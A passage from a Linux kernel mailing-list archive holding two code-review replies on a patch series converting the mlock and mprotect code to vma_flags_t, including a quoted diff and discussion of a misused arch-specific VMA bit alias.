 Stach" <l.stach@pengutronix.de>, "Inki Dae" <inki.dae@samsung.com>,
 "Seung-Woo Kim" <sw0312.kim@samsung.com>, "Kyungmin Park"
 <kyungmin.park@samsung.com>, "Krzysztof Kozlowski" <krzk@kernel.org>,
 "Peter Griffin" <peter.griffin@linaro.org>, "Jani Nikula"
 <jani.nikula@linux.intel.com>, "Joonas Lahtinen"
 <joonas.lahtinen@linux.intel.com>, "Rodrigo Vivi" <rodrigo.vivi@intel.com>,
 "Tvrtko Ursulin" <tursulin@ursulin.net>, "Rob Clark"
 <robin.clark@oss.qualcomm.com>, "Dmitry Baryshkov" <lumag@kernel.org>,
 "Lyude Paul" <lyude@redhat.com>, "Danilo Krummrich" <dakr@kernel.org>,
 "Tomi Valkeinen" <tomi.valkeinen@ideasonboard.com>, "Sandy Huang"
 <hjc@rock-chips.com>, =?utf-8?q?Heiko_St=C3=BCbner?= <heiko@sntech.de>,
 "Andy Yan" <andy.yan@rock-chips.com>, "Thierry Reding"
 <thierry.reding@kernel.org>, "Mikko Perttunen" <mperttunen@nvidia.com>,
 "Jonathan Hunter" <jonathanh@nvidia.com>, "Gerd Hoffmann"
 <kraxel@redhat.com>, "Dmitry Osipenko" <dmitry.osipenko@collabora.com>,
 "Zack Rusin" <zack.rusin@broadcom.com>, "Matthew Brost"
 <matthew.brost@intel.com>, "Thomas Hellstrom"
 <thomas.hellstrom@linux.intel.com>, "Oleksandr Andrushchenko"
 <oleksandr_andrushchenko@epam.com>, "Helge Deller" <deller@gmx.de>,
 "Benjamin LaHaise" <bcrl@kvack.org>, "Alexander Viro"
 <viro@zeniv.linux.org.uk>, "Christian Brauner" <brauner@kernel.org>,
 "Muchun Song" <muchun.song@linux.dev>, "Oscar Salvador"
 <osalvador@suse.de>, "David Hildenbrand" <david@kernel.org>, "Baolin Wang"
 <baolin.wang@linux.alibaba.com>, "Liam R . Howlett" <liam@infradead.org>,
 "Nico Pache" <npache@redhat.com>, "Ryan Roberts" <ryan.roberts@arm.com>,
 "Dev Jain" <dev.jain@arm.com>, "Barry Song" <baohua@kernel.org>, "Lance
 Yang" <lance.yang@linux.dev>, "Hugh Dickins" <hughd@google.com>, "Vlastimil
 Babka" <vbabka@kernel.org>, "Mike Rapoport" <rppt@kernel.org>, "Suren
 Baghdasaryan" <surenb@google.com>, "Michal Hocko" <mhocko@suse.com>, "Jann
 Horn" <jannh@google.com>, "Pedro Falcato" <pfalcato@suse.de>, "Kees Cook"
 <kees@kernel.org>, "Jaroslav Kysela" <perex@perex.cz>, "Takashi Iwai"
 <tiwai@suse.com>, <linux-mips@vger.kernel.org>,
 <linux-kernel@vger.kernel.org>, <linuxppc-dev@lists.ozlabs.org>,
 <dri-devel@lists.freedesktop.org>, <etnaviv@lists.freedesktop.org>,
 <linux-arm-kernel@lists.infradead.org>,
 <linux-samsung-soc@vger.kernel.org>, <intel-gfx@lists.freedesktop.org>,
 <linux-arm-msm@vger.kernel.org>, <freedreno@lists.freedesktop.org>,
 <nouveau@lists.freedesktop.org>, <linux-rockchip@lists.infradead.org>,
 <linux-tegra@vger.kernel.org>, <virtualization@lists.linux.dev>,
 <intel-xe@lists.freedesktop.org>, <xen-devel@lists.xenproject.org>,
 <linux-fbdev@vger.kernel.org>, <linux-aio@kvack.org>,
 <linux-fsdevel@vger.kernel.org>, <linux-mm@kvack.org>,
 <linux-sound@vger.kernel.org>
To: "Lorenzo Stoakes" <ljs@kernel.org>, "Andrew Morton"
 <akpm@linux-foundation.org>
From: "Zi Yan" <ziy@nvidia.com>
Subject: Re: [PATCH 11/13] mm/mlock: convert mlock code to use vma_flags_t
X-Mailer: aerc 0.21.0
References: <cover.1782760670.git.ljs@kernel.org>
 <2db16db81538355ca65f778c246d2381c673cad4.1782760670.git.ljs@kernel.org>
In-Reply-To: <2db16db81538355ca65f778c246d2381c673cad4.1782760670.git.ljs@kernel.org>
X-ClientProxiedBy: CH3P221CA0001.NAMP221.PROD.OUTLOOK.COM
 (2603:10b6:610:1e7::11) To DS7PR12MB8371.namprd12.prod.outlook.com
 (2603:10b6:8:e9::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: DS7PR12MB8371:EE_|MW9PR12MB999208:EE_
X-MS-Office365-Filtering-Correlation-Id: 6e843c55-46b2-40aa-cf91-08dedd5dfc14
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|7416014|376014|1800799024|366016|23010399003|22082099003|18002099003|11063799006|56012099006|4143699003;
X-Microsoft-Antispam-Message-Info:
	nolwAH/HflNqhOdXfVNEHXPWmfYmrb2CHJpKakonkCCOujU+GP08qzoQfxKM6395PRh3Rlu6ff7zE1UGkwgFip6rFZfhsdXXAKdzZxdD3Q2b1ePyBS4PgqLLt3Zs5/BxVplOKwXz4AObxQ5FChdOaUtzFflALbvvd6xN0UFh4VFqpwtSZ1eo4JNsxCmUemtAvGKGkBsYMisbJUCWaNm5ppyYh0/HWLD87b1oKhTBSxl5v8qHvEclurMsqVHWOhKYZRLncnvz9FCrF8bl4/p3IGyctB/ck9AiSFYsT80RVQHMUPtMuq1euO9Z+rfCXzx/X7EJp5DktH3dYYJxTGMvrpjsQgZiH5erm/ADnCrwEzTJpoIGsJaQqP6Um2r+DAJuRz0nrW9kVR/0+Pno41jPrnUMPpB1KxJHYLvEq0L+/zfkDeMx5i35kiHiIWp6Az3Nlr8/76pajbyCfzL2CT0iB5rjpEaOQqKaAUMkv7v+2Tk8mN0sC0UvGZYppYX22/CAwFky2APeipdh7vBxKsTif5SGbEHvrGRkNGlat9dBWRU4V8+Rwj0g/SWJ0FhEQP8xzfb8salZTUqVPcMjZwM6r1vjdItZHgHGgl+KLC8CMB88QzebrhVYG+8fHRN5snAjh7vkd+YfeOdB6jFpENk3L0oaK1+Nh+CyM6AeUmsRQpY=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:DS7PR12MB8371.namprd12.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(7416014)(376014)(1800799024)(366016)(23010399003)(22082099003)(18002099003)(11063799006)(56012099006)(4143699003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?TzJxZUhHdG5PNThGZnNkZW0xOFFwSXBtcVBvc0FaekgvTzN2YTd1OG1UQlRa?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d3ZsRG1sTlVGc254Q012?=
 =?utf-8?B?eCt6a3pxNCtwUHNyb29oVDdGZjFsMmpjRjhsN1RPeEJXVHhCYkx2Qk5OZHVy?=
 =?utf-8?B?NVhraTg2NzQ2T0tPdkIxSHZsOFlaTDdxL1hZMDEwMWFteWpZWmFxcXM5b3dC?=
 =?utf-8?B?N2xJWHlDRTZRL2lkNVYrUGFGekpZa1B4QlFlMlZ1d3dFTkU0WkdCSjMyYTEz?=
 =?utf-8?B?T3ZIVE1uQU8wM0Flb0hTblZBeS94OUJSWHJ5ZFZDblZIY0dDOVdNakY3SHNp?=
 =?utf-8?B?Z0ZIZXUzM21yRzdZSDY4bVNmQThHRjNyTTNpckVydWZxOXFibVo3TklDNlBH?=
 =?utf-8?B?V1NYdDlnUmxERmN3Z3prVGNYUGxTTEl1bkJoY2Z6a3JneDZHMWNhVEUxUTRS?=
 =?utf-8?B?d0RTN3R3aWZDTVoySXI3T0JGU2czVkhtQTBWSThPRzJKaFBkU3AzVDVQSUFv?=
 =?utf-8?B?Ti9iMkM3NzN1LzZvR2pLNTBvTTIvM1BhNklWNzQwelRDUWZQd3NKT0JGaGJl?=
 =?utf-8?Q?iDkNqQFDSUjGYd2EiZ?=
X-OriginatorOrg: Nvidia.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 6e843c55-46b2-40aa-cf91-08dedd5dfc14
X-MS-Exchange-CrossTenant-AuthSource: DS7PR12MB8371.namprd12.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 09 Jul 2026 02:01:26.6249
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 43083d15-7273-40c1-b7db-39efd9ccc17a
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: AZQmpIPqAHsK78b5WJ2whqNc26k65qhjctGREyCduoZER/FcZ/+pHaLhaV47Mpuc
X-MS-Exchange-Transport-CrossTenantHeadersStamped: MW9PR12MB999208
X-purgate-ID: tlsNG-ef75cf/1783562493-7FD3425E-23C340FB/0/0
X-purgate-type: clean
X-purgate-size: 823

On Mon Jun 29, 2026 at 3:25 PM EDT, Lorenzo Stoakes wrote:
> Replace use of the legacy vm_flags_t flags with vma_flags_t values
> throughout the mlock logic.
>
> Additionally update comments to reflect the changes to be consistent.
>
> No functional change intended.
>
> Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
> ---
>  mm/mlock.c | 86 +++++++++++++++++++++++++++++-------------------------
>  1 file changed, 46 insertions(+), 40 deletions(-)
>

LGTM. What confused me when I was reading the code is VMA_LOCKED_MASK
and VMA_LOCKED_BIT, since both share the same prefix VMA_LOCKED. Before
looking at the definition of VMA_LOCKED_MASK, I was wondering when to
use _BIT or _MASK. But it is just a naming thing.

Anyway,

Reviewed-by: Zi Yan <ziy@nvidia.com>


--=20
Best Regards,
Yan, Zi



From xen-devel-bounces@lists.xenproject.org Thu Jul 09 02:16:46 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 02:16:46 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357468.1611868 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wheJY-0007FH-U5; Thu, 09 Jul 2026 02:16:36 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357468.1611868; Thu, 09 Jul 2026 02:16:36 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wheJY-0007FA-RV; Thu, 09 Jul 2026 02:16:36 +0000
Received: by outflank-mailman (input) for mailman id 1357468;
 Thu, 09 Jul 2026 02:16:35 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ziy@nvidia.com>) id 1wheJX-0007F4-DL
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 02:16:35 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wheJV-00BlHA-6u
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 04:16:33 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ziy@nvidia.com>)
 id 6a4f0421-e002-0a2a0a5209dd-0a2a4505edb6-44
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 04:16:32 +0200
Received: from [52.101.62.53]
 (helo=DM5PR21CU001.outbound.protection.outlook.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ziy@nvidia.com>)
 id 6a4f047f-3cb2-0a2a45050019-34653e35f7b2-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 04:16:32 +0200
Received: from DS7PR12MB8371.namprd12.prod.outlook.com (2603:10b6:8:e9::18) by
 DS3PR12MB999242.namprd12.prod.outlook.com (2603:10b6:8:38d::16) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.8; Thu, 9 Jul 2026
 02:16:21 +0000
Received: from DS7PR12MB8371.namprd12.prod.outlook.com
 ([fe80::23d7:9e07:1de8:d80a]) by DS7PR12MB8371.namprd12.prod.outlook.com
 ([fe80::23d7:9e07:1de8:d80a%3]) with mapi id 15.21.0181.009; Thu, 9 Jul 2026
 02:16:20 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=temperror header.s=selector2 header.d=Nvidia.com header.i="@Nvidia.com"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=eyOSMQU34qH0irxWvkoLCDtGZ1UCOv2FP3TIdkjUL6cIIZtMLmFfcEWXWEVVl5pDhuoMLWReyRQ34KJ289gUJboS65RfFwpQFbDONEK7Qrvo3aG2QxPPEgNf0SN92NddEMkSaL1H8myAs97QQUySCLlGcmy9JaesSCv1XG9BpxgJTHOY+UuQtQxj4lg6wrSnNTR7Ekj+nuoge+zx9UPaWKWeSUfYAlDNcMlU2zF/N3yhXbzFgoESWAge8YoqPnHo7ZDXucGz+AscVZLszduKu+wJVqOOh5HpggvyuZXXdbcGpRuxW8q+X0ezM4Snx9DlznIc+AjrJuxlmuZL5AQTzw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=S5i5qm0dl3MCZSJwPGMqY2iZ6ROLBDxLPpqAztLM+CY=;
 b=bCHPR/RV8Gj9GMyEp5oUg7KmQ6qWmkgAwwa3lEJItGaV9dlvmY0OMoRpRX5gO2vvSaOmvaQUYnowRrecLHt+ZpKMbaXyowcecIjejbrF3kHp10exaqHBKvvvoiUgCxYzgJ2pb5gT3I6/z0Qojgwp1bkCk5qVTqsmMbzsqDomYMbefSEhKN5K+3lFWwN3zs6gWhPMJ6ZjwqHgO1zcQwujOI7ADbqypKLqe40y31UQSxp52YsHxQDrRzhRw8AuZeBWfPOiYUhlE/3PNqJ4qclHJ9tBe2DXnOJiKsiuVZZ0AmvjmgiGgaGCMM9egI6Cd5jJDiwyVuJweVs0M/4w1v1Ppw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=nvidia.com; dmarc=pass action=none header.from=nvidia.com;
 dkim=pass header.d=nvidia.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=Nvidia.com;
 s=selector2;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=S5i5qm0dl3MCZSJwPGMqY2iZ6ROLBDxLPpqAztLM+CY=;
 b=bHZcwpI+S11ZA79kzFiR6KGkaKIsT9myHkoayB68XrDPMByjx6QnyFUnvtfYGw/WgWy+dJ1OO5pLHDCD2nTo6Bxt/TMGvqLintLXWoDmOgQdRIhefaRUvEpCjL8O/TTSfKz4sV2H9AfMeNr97oteFBgQlM/6zqD3QOEhMskwqx4jprhi9Hf9Z2M81SRZnZ+6CDLxMnzxPHcvaaPIMce+a/3aT7FGv02bonp5re6kXvpUAs86v/oidBI27IBLU/8b2RfFe64yRz13IqXQkh4GU4en4WCM39YM17NaFvdLSyioEeeD2CV0KVullxNRdHEX8juZLvRxXtc2U4KJZJESLQ==
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=nvidia.com;
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=UTF-8
Date: Wed, 08 Jul 2026 22:16:15 -0400
Message-Id: <DJTOG7IBZKEE.87TLWNXOCHR8@nvidia.com>
Subject: Re: [PATCH 12/13] mm/mprotect: convert mprotect code to use
 vma_flags_t
Cc: <akpm@linux-foundation.org>, <tsbogend@alpha.franken.de>,
 <maddy@linux.ibm.com>, <mpe@ellerman.id.au>,
 <maarten.lankhorst@linux.intel.com>, <mripard@kernel.org>,
 <tzimmermann@suse.de>, <airlied@gmail.com>, <simona@ffwll.ch>,
 <l.stach@pengutronix.de>, <inki.dae@samsung.com>, <sw0312.kim@samsung.com>,
 <kyungmin.park@samsung.com>, <krzk@kernel.org>, <peter.griffin@linaro.org>,
 <jani.nikula@linux.intel.com>, <joonas.lahtinen@linux.intel.com>,
 <rodrigo.vivi@intel.com>, <tursulin@ursulin.net>,
 <robin.clark@oss.qualcomm.com>, <lumag@kernel.org>, <lyude@redhat.com>,
 <dakr@kernel.org>, <tomi.valkeinen@ideasonboard.com>, <hjc@rock-chips.com>,
 <heiko@sntech.de>, <andy.yan@rock-chips.com>, <thierry.reding@kernel.org>,
 <mperttunen@nvidia.com>, <jonathanh@nvidia.com>, <kraxel@redhat.com>,
 <dmitry.osipenko@collabora.com>, <zack.rusin@broadcom.com>,
 <matthew.brost@intel.com>, <thomas.hellstrom@linux.intel.com>,
 <oleksandr_andrushchenko@epam.com>, <deller@gmx.de>, <bcrl@kvack.org>,
 <viro@zeniv.linux.org.uk>, <brauner@kernel.org>, <muchun.song@linux.dev>,
 <osalvador@suse.de>, <david@kernel.org>, <baolin.wang@linux.alibaba.com>,
 <liam@infradead.org>, <npache@redhat.com>, <ryan.roberts@arm.com>,
 <dev.jain@arm.com>, <baohua@kernel.org>, <hughd@google.com>,
 <vbabka@kernel.org>, <rppt@kernel.org>, <surenb@google.com>,
 <mhocko@suse.com>, <jannh@google.com>, <pfalcato@suse.de>,
 <kees@kernel.org>, <perex@perex.cz>, <tiwai@suse.com>,
 <linux-mips@vger.kernel.org>, <linux-kernel@vger.kernel.org>,
 <linuxppc-dev@lists.ozlabs.org>, <dri-devel@lists.freedesktop.org>,
 <etnaviv@lists.freedesktop.org>, <linux-arm-kernel@lists.infradead.org>,
 <linux-samsung-soc@vger.kernel.org>, <intel-gfx@lists.freedesktop.org>,
 <linux-arm-msm@vger.kernel.org>, <freedreno@lists.freedesktop.org>,
 <nouveau@lists.freedesktop.org>, <linux-rockchip@lists.infradead.org>,
 <linux-tegra@vger.kernel.org>, <virtualization@lists.linux.dev>,
 <intel-xe@lists.freedesktop.org>, <xen-devel@lists.xenproject.org>,
 <linux-fbdev@vger.kernel.org>, <linux-aio@kvack.org>,
 <linux-fsdevel@vger.kernel.org>, <linux-mm@kvack.org>,
 <linux-sound@vger.kernel.org>
To: "Lorenzo Stoakes" <ljs@kernel.org>, "Lance Yang" <lance.yang@linux.dev>
From: "Zi Yan" <ziy@nvidia.com>
X-Mailer: aerc 0.21.0
References: <7ef626d8a12dc742cfc09d080be5dc09850e873a.1782760670.git.ljs@kernel.org> <20260701160917.91435-1-lance.yang@linux.dev> <akaIfhfbTCAdJm3H@lucifer>
In-Reply-To: <akaIfhfbTCAdJm3H@lucifer>
X-ClientProxiedBy: BN9PR03CA0752.namprd03.prod.outlook.com
 (2603:10b6:408:13a::7) To DS7PR12MB8371.namprd12.prod.outlook.com
 (2603:10b6:8:e9::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: DS7PR12MB8371:EE_|DS3PR12MB999242:EE_
X-MS-Office365-Filtering-Correlation-Id: 5e8ab397-c07f-4023-39b8-08dedd601114
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|376014|1800799024|366016|7416014|6133799003|18002099003|22082099003|4143699003|56012099006|11063799006;
X-Microsoft-Antispam-Message-Info:
	uLHBbUaaBCio1ECS4YGmLrkocaWbvY5KMdUTJuW+iZD+ln0gcG2SL4i83FiYZObHQSD+WaX2bMzf6wX4TJuG7XeyC+ir6a0tIfy5As3gt613qbccdPXzF6hm9uqDD66zHs3/g1JsMYbZJpZOmk4i0uW1JgvlJ/NZw+ZRTk6u8gFzM3PSv0ek6RB2GQp3JnaRzN/z6s/lnmZnjESGE85LitccMeCSQPuPu85KN6w0CCyd0BwV4NogNxdlVXF7+9wZZCJGUvlJj6E9xSYxOeanOA9YCxDmKXnGkyLXCIO4wmBRUYm1C1QgOqHC3zv0LtnMWRuGtNkY8RXJzdZsOlZ19c7yLmmjd9zSAZHmj0UBOtLmkIYCpL7A4RVRyr/eg/9hMZUzuDTrZFROsQC77xul60Vt0FGMoiYt+woGcPFt2w+SZvW340KkNFE/JscKGfTgu5dCEErHoQLROdyFIql+JdjNqJyHOEPufGGVaeWm38nEhtD2Pqfng1ltXYVuEenwDiKCMGCjnHIpVzBvPM4X3Vxqyu6ruxe7io1c3izyYc4bzwny2Q8ZrLTCrOelubkCmRsqrjvzIa1vEmxvfVhg69fF9sxCpbbFJ/MOuLter66YJYEKbrgLdXruRujkrOPdkE6GmKdq9IwLYVVYuTwwK7N5NQR7ZdWob5icuN6/T5Q=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:DS7PR12MB8371.namprd12.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(23010399003)(376014)(1800799024)(366016)(7416014)(6133799003)(18002099003)(22082099003)(4143699003)(56012099006)(11063799006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?NkZpV3dyVnhsamsxbkV0UHhoMndkRGhwdTFUbk1saVpJbmc4d0FwaVZPSGlU?=
 =?utf-8?B?VWZvcm5FK1h3dlAyNlNYUFhNdWhVSjE3WVpHUWw1TnFkSWVlVDI4eU5McHVu?=
 =?utf-8?B?dW5wR2t6dEQyNVZacTM1aW92VWNXdHFrdExDc1hSNE53YUJmMTVqQUJJdG56?=
 =?utf-8?B?UnVFZ1A1YmsrOVU0Y2JzbWswUnd1UHgzZnE5THE0V2haUElhYjBnWHQyNDZT?=
 =?utf-8?B?aXZ4Ukp1cXlVTEkwRWZ6T29Bd0lxMUUreXBFZnJjbFVseWp1a003Tk8vbWRU?=
 =?utf-8?B?L0UzK2ZNWjZiQlVad2ZDRmw2MEFSc0hOejMzMjNRWUxoam9QS1J2OWgyYXJt?=
 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FRQZTcr?=
 =?utf-8?B?MCtXakh2dVNhWUhzOEFYR2xSaUhxSFJNNWVTajRLaVF6d2pyMFJxQTNJMnZ0?=
 =?utf-8?B?ZmJrMXh2L0d1akIwOEd4ek1qUlVHaTlTbWJUdHRHRW1SL1ZFOGdUeDZHdExC?=
 =?utf-8?B?c0x3R1FUcjNUVTZxTG1ubUlrcENtSHdvOFUycWNHdUtTVG1aZmdZSlcrSzhX?=
 =?utf-8?Q?2q6tPecz5MPiwDuOas?=
X-OriginatorOrg: Nvidia.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 5e8ab397-c07f-4023-39b8-08dedd601114
X-MS-Exchange-CrossTenant-AuthSource: DS7PR12MB8371.namprd12.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 09 Jul 2026 02:16:20.8381
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 43083d15-7273-40c1-b7db-39efd9ccc17a
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: tHgqFQVrabgr4tGpUQdTwGC4hTzqDSs3VNvEPC+iKs+7SVolHHj+RkZB5IyLfnTx
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DS3PR12MB999242
X-purgate-ID: tlsNG-c201ff/1783563392-0D9082B8-BD481F9C/0/0
X-purgate-type: clean
X-purgate-size: 4890

On Thu Jul 2, 2026 at 11:53 AM EDT, Lorenzo Stoakes wrote:
> On Thu, Jul 02, 2026 at 12:09:17AM +0800, Lance Yang wrote:
>>
>> On Mon, Jun 29, 2026 at 08:25:35PM +0100, Lorenzo Stoakes wrote:
>> >Replace use of the legacy vm_flags_t flags with vma_flags_t values
>> >throughout the mprotect logic.
>> >
>> >Note that we retain the legacy vm_flags_t bit shifting code in
>> >do_mprotect_key(), deferring a vma_flags_t approach to this for the tim=
e
>> >being.
>> >
>> >Additionally update comments to reflect the changes to be consistent.
>> >
>> >No functional change intended.
>> >
>> >Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
>> >---
>> > mm/mprotect.c | 16 ++++++++--------
>> > 1 file changed, 8 insertions(+), 8 deletions(-)
>> >
>> >diff --git a/mm/mprotect.c b/mm/mprotect.c
>> >index 9cbf932b028c..c9504b2a2525 100644
>> >--- a/mm/mprotect.c
>> >+++ b/mm/mprotect.c
>> >@@ -40,7 +40,7 @@
>> >
>> > static bool maybe_change_pte_writable(struct vm_area_struct *vma, pte_=
t pte)
>> > {
>> >-	if (WARN_ON_ONCE(!(vma->vm_flags & VM_WRITE)))
>> >+	if (WARN_ON_ONCE(!vma_test(vma, VMA_WRITE_BIT)))
>> > 		return false;
>> >
>> > 	/* Don't touch entries that are not even readable. */
>> >@@ -97,7 +97,7 @@ static bool can_change_shared_pte_writable(struct vm_=
area_struct *vma,
>> > bool can_change_pte_writable(struct vm_area_struct *vma, unsigned long=
 addr,
>> > 			     pte_t pte)
>> > {
>> >-	if (!(vma->vm_flags & VM_SHARED))
>> >+	if (!vma_test(vma, VMA_SHARED_BIT))
>> > 		return can_change_private_pte_writable(vma, addr, pte);
>> >
>> > 	return can_change_shared_pte_writable(vma, pte);
>> >@@ -194,7 +194,7 @@ static __always_inline void set_write_prot_commit_f=
lush_ptes(struct vm_area_stru
>> > {
>> > 	bool set_write;
>> >
>> >-	if (vma->vm_flags & VM_SHARED) {
>> >+	if (vma_test(vma, VMA_SHARED_BIT)) {
>> > 		set_write =3D can_change_shared_pte_writable(vma, ptent);
>> > 		prot_commit_flush_ptes(vma, addr, ptep, oldpte, ptent, nr_ptes,
>> > 				       /* idx =3D */ 0, set_write, tlb);
>> >@@ -811,8 +811,8 @@ mprotect_fixup(struct vma_iterator *vmi, struct mmu=
_gather *tlb,
>> > 		vm_unacct_memory(nrpages);
>> >
>> > 	/*
>> >-	 * Private VM_LOCKED VMA becoming writable: trigger COW to avoid majo=
r
>> >-	 * fault on access.
>> >+	 * Private VMA_LOCKED_BIT VMA becoming writable: trigger COW to avoid
>> >+	 * major fault on access.
>> > 	 */
>> > 	if (vma_flags_test(&new_vma_flags, VMA_WRITE_BIT) &&
>> > 	    vma_flags_test(&old_vma_flags, VMA_LOCKED_BIT) &&
>> >@@ -886,7 +886,7 @@ static int do_mprotect_pkey(unsigned long start, si=
ze_t len,
>> > 			goto out;
>> > 		start =3D vma->vm_start;
>> > 		error =3D -EINVAL;
>> >-		if (!(vma->vm_flags & VM_GROWSDOWN))
>> >+		if (!vma_test(vma, VMA_GROWSDOWN_BIT))
>> > 			goto out;
>> > 	} else {
>> > 		if (vma->vm_start > start)
>> >@@ -894,7 +894,7 @@ static int do_mprotect_pkey(unsigned long start, si=
ze_t len,
>> > 		if (unlikely(grows & PROT_GROWSUP)) {
>> > 			end =3D vma->vm_end;
>> > 			error =3D -EINVAL;
>> >-			if (!(vma->vm_flags & VM_GROWSUP))
>> >+			if (!vma_test(vma, VMA_GROWSUP_BIT))
>>
>> IIUC, should this be
>>
>> if (!vma_test_single_mask(vma, VMA_GROWSUP))
>>
>> instead?
>>
>> #elif defined(CONFIG_PARISC)
>> #define VM_GROWSUP	INIT_VM_FLAG(GROWSUP)
>> ...
>> #ifndef VM_GROWSUP
>> #define VM_GROWSUP	VM_NONE
>> ...
>>
>> VM_GROWSUP is only defined as GROWSUP on parisc and becomes VM_NONE
>> elsewhere. But VMA_GROWSUP_BIT is the raw ARCH_1 bit, which is also used
>> for other arch-specific VMA flags:
>>
>> 	DECLARE_VMA_BIT_ALIAS(SAO, ARCH_1),		/* Strong Access Ordering (powerpc=
) */
>> 	DECLARE_VMA_BIT_ALIAS(GROWSUP, ARCH_1),		/* parisc */
>> 	DECLARE_VMA_BIT_ALIAS(SPARC_ADI, ARCH_1),	/* sparc64 */
>> 	DECLARE_VMA_BIT_ALIAS(ARM64_BTI, ARCH_1),	/* arm64 */
>> 	DECLARE_VMA_BIT_ALIAS(ARCH_CLEAR, ARCH_1),	/* sparc64, arm64 */
>> 	DECLARE_VMA_BIT_ALIAS(MAPPED_COPY, ARCH_1),	/* !CONFIG_MMU */
>>
>> Other vma_test() changes look fine to me: just fixed INIT_VM_FLAG()
>> masks matching their VMA_*_BIT :)
>
> Thanks you're right, will fix!
>
> Again I swear I ran claude on all of this so it's failing me here :)
>

Is it better to add something like below to avoid misuse these mutually
exclusive bit aliases?

An example for VMA_GROWSUP_BIT:

#if defined(CONFIG_PARISC)
DECLARE_VMA_BIT_ALIAS(GROWSUP, ARCH_1),		/* parisc */
#else
/* make VMA_GROWSUP_BIT a build bug on */
#endif

Hmm, these VMA_*_BIT are enum items, so the above might not be possible.
An alternative is to only define them for the corresponding config and
you will get build errors when trying to use them directly and the
config is not enabled. Otherwise, misuses like "vma_test(vma,
VMA_GROWSUP_BIT)" is harder to uncover.


--=20
Best Regards,
